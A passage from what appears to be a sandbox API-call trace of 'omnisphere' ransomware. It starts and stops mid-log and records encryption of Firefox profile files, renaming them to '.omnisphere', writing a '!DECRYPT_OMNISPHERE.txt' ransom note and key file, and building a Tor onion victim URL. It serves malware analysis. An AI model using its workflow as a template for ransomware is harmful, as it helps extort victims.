returned 1 [0155.416] GetTickCount () returned 0x1166a0c [0155.416] GetTickCount () returned 0x1166a0c [0155.416] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.417] GetTickCount () returned 0x1166a0c [0155.418] GetTickCount () returned 0x1166a0c [0155.418] GetTickCount () returned 0x1166a0c [0155.418] GetTickCount () returned 0x1166a0c [0155.418] GetTickCount () returned 0x1166a0c [0155.418] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668e78) returned 1 [0155.418] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0155.418] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0155.418] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.418] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0155.419] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa, lpName=0x0) returned 0x288 [0155.419] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa) returned 0x1480000 [0155.419] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668570) returned 1 [0155.419] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0155.420] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0155.420] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0155.420] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.420] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.420] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0155.420] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0155.420] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0155.434] GetProcessHeap () returned 0x1600000 [0155.434] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ce) returned 0x1732230 [0155.434] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622.omnisphere")) returned 1 [0155.435] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.omnisphere.id" [0155.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0155.511] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0155.512] CloseHandle (hObject=0x3c0) returned 1 [0155.512] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0155.512] CloseHandle (hObject=0x288) returned 1 [0155.512] SetEndOfFile (hFile=0x28c) returned 1 [0155.512] FlushFileBuffers (hFile=0x28c) returned 1 [0155.516] CloseHandle (hObject=0x28c) returned 1 [0155.516] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 1 [0155.516] GetProcessHeap () returned 0x1600000 [0155.516] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1732508 [0155.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.516] GetProcessHeap () returned 0x1600000 [0155.516] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd7f8 [0155.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd7f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.516] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.516] GetProcessHeap () returned 0x1600000 [0155.516] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17269d8 [0155.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17269d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.516] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.517] GetProcessHeap () returned 0x1600000 [0155.517] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x172e780 [0155.517] PathCombineW (in: pszDest=0x172e780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\!DECRYPT_OMNISPHERE.txt" [0155.517] GetProcessHeap () returned 0x1600000 [0155.517] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17207e8 [0155.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0155.517] WriteFile (in: hFile=0x28c, lpBuffer=0x17207e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x17207e8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0155.518] CloseHandle (hObject=0x28c) returned 1 [0155.519] GetProcessHeap () returned 0x1600000 [0155.519] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1732508 | out: hHeap=0x1600000) returned 1 [0155.519] GetProcessHeap () returned 0x1600000 [0155.519] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5f30 [0155.519] PathCombineW (in: pszDest=0x16f5f30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\unique_decrypt.key" [0155.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0155.520] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0155.522] CloseHandle (hObject=0x28c) returned 1 [0155.522] GetProcessHeap () returned 0x1600000 [0155.522] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f5f30 | out: hHeap=0x1600000) returned 1 [0155.522] GetProcessHeap () returned 0x1600000 [0155.522] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0155.522] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0xd5, cFileName="InstallTime20170824053622", cAlternateFileName="INSTAL~1")) returned 0 [0155.522] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.522] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3dcbd3d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dcbd3d8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0155.522] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3dcbd3d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dcbd3d8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0155.522] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dcbd3d8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dcbd3d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dcbd3d8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0155.522] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="events", cAlternateFileName="")) returned 1 [0155.522] GetProcessHeap () returned 0x1600000 [0155.522] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167bb28 [0155.523] PathCombineW (in: pszDest=0x167bb28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", pszFile="events" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events" [0155.523] GetProcessHeap () returned 0x1600000 [0155.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656f58 [0155.523] PathCombineW (in: pszDest=0x1656f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*" [0155.523] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0155.524] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 1 [0155.524] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 0 [0155.524] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0155.524] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0155.524] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.524] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0155.524] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0155.524] GetProcessHeap () returned 0x1600000 [0155.524] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656f58 | out: hHeap=0x1600000) returned 1 [0155.524] GetProcessHeap () returned 0x1600000 [0155.524] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bb28 | out: hHeap=0x1600000) returned 1 [0155.524] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3dc971f2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="InstallTime20170824053622.omnisphere", cAlternateFileName="INSTAL~1.OMN")) returned 1 [0155.524] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbd8529, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dbd8529, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dc971f2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="InstallTime20170824053622.omnisphere.id", cAlternateFileName="INSTAL~1.ID")) returned 1 [0155.525] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dcbd3d8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dcbd3d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dcbd3d8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0155.525] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dcbd3d8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dcbd3d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dcbd3d8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0155.525] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0155.525] GetProcessHeap () returned 0x1600000 [0155.525] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b1608 | out: hHeap=0x1600000) returned 1 [0155.525] GetProcessHeap () returned 0x1600000 [0155.525] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b11e0 | out: hHeap=0x1600000) returned 1 [0155.525] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending Pings", cAlternateFileName="PENDIN~1")) returned 1 [0155.525] GetProcessHeap () returned 0x1600000 [0155.525] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x16b0bf0 [0155.525] PathCombineW (in: pszDest=0x16b0bf0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", pszFile="Pending Pings" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings" [0155.525] GetProcessHeap () returned 0x1600000 [0155.525] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x16b1738 [0155.525] PathCombineW (in: pszDest=0x16b1738, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\*" [0155.525] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.525] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="..", cAlternateFileName="")) returned 1 [0155.526] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="..", cAlternateFileName="")) returned 0 [0155.526] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.526] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.526] FindNextFileW (in: 